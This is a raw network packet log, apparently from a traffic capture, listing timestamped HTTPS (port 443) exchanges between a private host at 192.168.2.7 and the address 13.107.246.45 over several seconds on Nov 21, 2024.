Nov 21, 2024 00:04:21.116646051 CET	49994	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:21.116658926 CET	443	49994	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:21.284197092 CET	443	49990	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:21.287317991 CET	443	49990	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:21.287415028 CET	49990	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:21.287466049 CET	49990	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:21.287487984 CET	443	49990	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:21.287503004 CET	49990	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:21.287508011 CET	443	49990	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:21.290664911 CET	49995	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:21.290703058 CET	443	49995	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:21.290770054 CET	49995	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:21.290924072 CET	49995	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:21.290941954 CET	443	49995	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.018556118 CET	443	49992	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.019114017 CET	49992	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:22.019146919 CET	443	49992	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.019582033 CET	49992	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:22.019588947 CET	443	49992	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.137748957 CET	443	49991	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.138228893 CET	49991	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:22.138251066 CET	443	49991	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.138683081 CET	49991	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:22.138686895 CET	443	49991	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.145391941 CET	443	49993	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.145662069 CET	49993	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:22.145678043 CET	443	49993	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.145987034 CET	49993	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:22.145992994 CET	443	49993	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.462413073 CET	443	49992	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.465543032 CET	443	49992	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.465624094 CET	49992	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:22.570449114 CET	49992	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:22.570475101 CET	443	49992	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.570487976 CET	49992	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:22.570494890 CET	443	49992	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.579792023 CET	443	49993	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.582890034 CET	443	49993	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.582950115 CET	443	49993	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.582961082 CET	49993	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:22.582998991 CET	49993	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:22.590224028 CET	443	49991	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.593389988 CET	443	49991	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.593496084 CET	49991	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:22.593528032 CET	443	49991	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.593564987 CET	443	49991	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.593611956 CET	49991	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:22.633698940 CET	49996	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:22.633742094 CET	443	49996	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.633917093 CET	49996	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:22.634428024 CET	49991	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:22.634459019 CET	443	49991	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.634522915 CET	49991	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:22.634531021 CET	443	49991	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.634552002 CET	49996	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:22.634567022 CET	443	49996	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.652836084 CET	49993	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:22.652869940 CET	443	49993	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.652887106 CET	49993	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:22.652894020 CET	443	49993	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.658112049 CET	49997	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:22.658174038 CET	443	49997	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.658268929 CET	49997	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:22.658704996 CET	49998	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:22.658731937 CET	443	49998	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.658837080 CET	49998	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:22.658962011 CET	49997	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:22.658978939 CET	443	49997	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.659091949 CET	49998	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:22.659107924 CET	443	49998	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.898243904 CET	443	49994	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.898777008 CET	49994	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:22.898807049 CET	443	49994	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:22.899224043 CET	49994	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:22.899233103 CET	443	49994	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:23.135536909 CET	443	49995	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:23.136084080 CET	49995	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:23.136104107 CET	443	49995	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:23.136528969 CET	49995	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:23.136538029 CET	443	49995	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:23.350250006 CET	443	49994	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:23.350325108 CET	443	49994	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:23.350375891 CET	49994	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:23.350542068 CET	49994	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:23.350559950 CET	443	49994	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:23.350569963 CET	49994	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:23.350574970 CET	443	49994	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:23.353307962 CET	49999	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:23.353353024 CET	443	49999	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:23.353420019 CET	49999	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:23.353575945 CET	49999	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:23.353584051 CET	443	49999	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:23.598773003 CET	443	49995	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:23.601802111 CET	443	49995	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:23.601861954 CET	443	49995	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:23.601875067 CET	49995	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:23.601929903 CET	49995	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:23.601982117 CET	49995	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:23.602005959 CET	443	49995	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:23.602020025 CET	49995	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:23.602026939 CET	443	49995	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:23.604708910 CET	50000	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:23.604739904 CET	443	50000	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:23.604832888 CET	50000	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:23.604991913 CET	50000	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:23.605006933 CET	443	50000	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:24.355391026 CET	443	49996	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:24.355937958 CET	49996	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:24.355959892 CET	443	49996	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:24.356395960 CET	49996	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:24.356400967 CET	443	49996	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:24.380084038 CET	443	49998	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:24.380404949 CET	49998	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:24.380417109 CET	443	49998	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:24.380718946 CET	49998	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:24.380723000 CET	443	49998	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:24.513221025 CET	443	49997	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:24.513756037 CET	49997	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:24.513838053 CET	443	49997	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:24.514202118 CET	49997	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:24.514216900 CET	443	49997	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:24.791775942 CET	443	49996	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:24.794857979 CET	443	49996	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:24.794990063 CET	49996	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:24.794990063 CET	49996	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:24.794990063 CET	49996	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:24.797437906 CET	50001	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:24.797471046 CET	443	50001	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:24.797545910 CET	50001	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:24.797665119 CET	50001	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:24.797679901 CET	443	50001	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:24.845765114 CET	443	49998	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:24.845813990 CET	443	49998	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:24.845894098 CET	49998	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:24.845906973 CET	443	49998	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:24.849406958 CET	443	49998	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:24.849518061 CET	49998	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:24.862138987 CET	49998	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:24.862158060 CET	443	49998	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:24.862166882 CET	49998	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:24.862173080 CET	443	49998	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:24.865000010 CET	50002	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:24.865046978 CET	443	50002	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:24.865112066 CET	50002	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:24.865258932 CET	50002	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:24.865274906 CET	443	50002	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:24.970419884 CET	443	49997	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:24.970453024 CET	443	49997	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:24.970549107 CET	49997	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:24.970618010 CET	443	49997	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:24.970805883 CET	49997	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:24.970805883 CET	49997	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:24.970850945 CET	443	49997	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:24.971056938 CET	443	49997	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:24.971096992 CET	443	49997	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:24.971165895 CET	49997	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:24.973566055 CET	50003	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:24.973609924 CET	443	50003	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:24.973675966 CET	50003	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:24.973872900 CET	50003	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:24.973890066 CET	443	50003	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:25.105576992 CET	49996	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:25.105587959 CET	443	49996	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:25.140058994 CET	443	49999	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:25.183954000 CET	49999	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:25.305845976 CET	49999	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:25.305890083 CET	443	49999	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:25.312275887 CET	49999	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:25.312292099 CET	443	49999	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:25.401231050 CET	443	50000	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:25.401710033 CET	50000	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:25.401729107 CET	443	50000	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:25.402173042 CET	50000	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:25.402180910 CET	443	50000	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:25.637864113 CET	443	49999	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:25.637921095 CET	443	49999	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:25.637980938 CET	443	49999	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:25.637983084 CET	49999	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:25.638051987 CET	49999	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:25.638135910 CET	49999	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:25.638184071 CET	443	49999	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:25.638215065 CET	49999	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:25.638231039 CET	443	49999	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:25.640574932 CET	50004	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:25.640625954 CET	443	50004	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:25.640713930 CET	50004	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:25.640949011 CET	50004	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:25.640981913 CET	443	50004	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:25.844271898 CET	443	50000	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:25.844759941 CET	443	50000	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:25.844826937 CET	50000	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:25.844862938 CET	50000	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:25.844886065 CET	443	50000	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:25.844899893 CET	50000	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:25.844906092 CET	443	50000	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:25.847731113 CET	50005	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:25.847764015 CET	443	50005	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:25.847840071 CET	50005	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:25.847980976 CET	50005	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:25.847990036 CET	443	50005	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:26.513899088 CET	443	50001	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:26.514373064 CET	50001	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:26.514415979 CET	443	50001	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:26.514805079 CET	50001	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:26.514816046 CET	443	50001	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:26.661427021 CET	443	50002	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:26.662139893 CET	50002	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:26.662170887 CET	443	50002	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:26.662451029 CET	50002	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:26.662461042 CET	443	50002	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:26.828171968 CET	443	50003	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:26.828777075 CET	50003	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:26.828800917 CET	443	50003	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:26.829233885 CET	50003	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:26.829240084 CET	443	50003	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:26.947648048 CET	443	50001	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:26.951064110 CET	443	50001	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:26.951179028 CET	50001	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:26.951200962 CET	443	50001	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:26.951302052 CET	50001	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:26.951351881 CET	50001	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:26.951375961 CET	443	50001	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:26.951390982 CET	50001	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:26.951400042 CET	443	50001	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:26.953986883 CET	50006	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:26.954052925 CET	443	50006	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:26.954143047 CET	50006	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:26.954294920 CET	50006	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:26.954312086 CET	443	50006	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:27.107119083 CET	443	50002	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:27.110254049 CET	443	50002	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:27.110347986 CET	50002	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:27.110347986 CET	50002	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:27.110393047 CET	50002	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:27.110410929 CET	443	50002	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:27.113322020 CET	50007	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:27.113357067 CET	443	50007	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:27.113444090 CET	50007	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:27.113605022 CET	50007	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:27.113619089 CET	443	50007	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:27.287453890 CET	443	50003	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:27.290461063 CET	443	50003	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:27.290533066 CET	50003	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:27.290555000 CET	443	50003	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:27.290581942 CET	443	50003	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:27.290646076 CET	50003	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:27.290676117 CET	50003	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:27.290692091 CET	443	50003	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:27.290704966 CET	50003	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:27.290710926 CET	443	50003	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:27.293626070 CET	50008	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:27.293684959 CET	443	50008	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:27.293766975 CET	50008	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:27.293939114 CET	50008	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:27.293955088 CET	443	50008	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:27.438899994 CET	443	50004	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:27.439398050 CET	50004	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:27.439451933 CET	443	50004	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:27.439929962 CET	50004	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:27.439946890 CET	443	50004	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:27.577173948 CET	443	50005	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:27.577780962 CET	50005	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:27.577791929 CET	443	50005	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:27.578254938 CET	50005	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:27.578267097 CET	443	50005	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:27.882224083 CET	443	50004	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:27.885355949 CET	443	50004	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:27.885411024 CET	50004	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:27.925028086 CET	50004	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:27.925055027 CET	443	50004	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:27.925070047 CET	50004	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:27.925077915 CET	443	50004	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:27.929269075 CET	50009	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:27.929306984 CET	443	50009	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:27.929363012 CET	50009	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:27.929502964 CET	50009	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:27.929513931 CET	443	50009	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:28.278152943 CET	443	50005	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:28.281152010 CET	443	50005	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:28.281199932 CET	50005	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:28.281209946 CET	443	50005	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:28.281233072 CET	443	50005	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:28.281322956 CET	50005	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:28.281322956 CET	50005	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:28.281394005 CET	50005	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:28.281405926 CET	443	50005	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:28.291364908 CET	50010	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:28.291420937 CET	443	50010	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:28.291496038 CET	50010	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:28.291663885 CET	50010	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:28.291680098 CET	443	50010	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:28.803705931 CET	443	50006	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:28.804193020 CET	50006	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:28.804239988 CET	443	50006	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:28.804640055 CET	50006	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:28.804646969 CET	443	50006	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:28.903116941 CET	443	50007	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:28.907684088 CET	50007	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:28.907699108 CET	443	50007	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:28.908153057 CET	50007	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:28.908158064 CET	443	50007	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:29.149300098 CET	443	50008	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:29.149784088 CET	50008	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:29.149818897 CET	443	50008	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:29.150692940 CET	50008	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:29.150707960 CET	443	50008	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:29.321707010 CET	443	50006	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:29.322314978 CET	443	50006	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:29.322443008 CET	50006	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:29.330166101 CET	50006	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:29.330236912 CET	443	50006	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:29.330279112 CET	50006	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:29.330297947 CET	443	50006	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:29.333695889 CET	50011	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:29.333750010 CET	443	50011	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:29.333884001 CET	50011	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:29.334028006 CET	50011	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:29.334043980 CET	443	50011	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:29.349924088 CET	443	50007	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:29.349961042 CET	443	50007	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:29.350018978 CET	443	50007	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:29.350076914 CET	50007	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:29.350135088 CET	50007	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:29.350342035 CET	50007	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:29.350357056 CET	443	50007	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:29.350367069 CET	50007	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:29.350373030 CET	443	50007	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:29.352907896 CET	50012	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:29.352963924 CET	443	50012	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:29.353055954 CET	50012	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:29.353183985 CET	50012	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:29.353199005 CET	443	50012	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:29.593537092 CET	443	50008	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:29.596787930 CET	443	50008	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:29.596863031 CET	50008	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:29.596950054 CET	50008	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:29.596976995 CET	443	50008	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:29.596992016 CET	50008	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:29.596999884 CET	443	50008	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:29.599823952 CET	50013	443	192.168.2.7	13.107.246.45
